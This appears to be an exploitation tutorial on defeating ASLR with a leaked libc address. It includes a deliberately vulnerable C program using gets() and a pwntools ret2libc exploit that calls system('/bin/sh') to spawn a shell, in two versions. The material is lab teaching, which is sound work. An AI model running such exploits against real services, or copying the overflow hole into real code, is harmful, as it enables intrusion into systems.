ASLR Bypass with Given Leak

#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[20];
printf("System is at: %lp\n", system);
gets(buffer);
}
int main() {
vuln();
return 0;
}
void win() {
puts("PIE bypassed! Great job :D");
}
Just as we did for PIE, except this time we print the address of system.

Analysis

$ ./vuln-32
System is at: 0xf7de5f00
Yup, does what we expected.
Your address of system might end in different characters - you just have a different libc version

Exploitation

Much of this is as we did with PIE.
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
Note that we include the libc here - this is just another ELF object that makes our lives easier.
Parse the address of system and calculate libc base from that (as we did with PIE):
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
Now we can finally ret2libc, using the libc ELF object to really simplify it for us:
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()

Final Exploit

from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()

64-bit

Try it yourself :)

Using pwntools

If you prefer, you could have changed the following payload to be more pwntoolsy:
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
Instead, you could do:
binsh = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
rop.raw('A' * 32)
rop.system(binsh)
p.sendline(rop.chain())
The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.
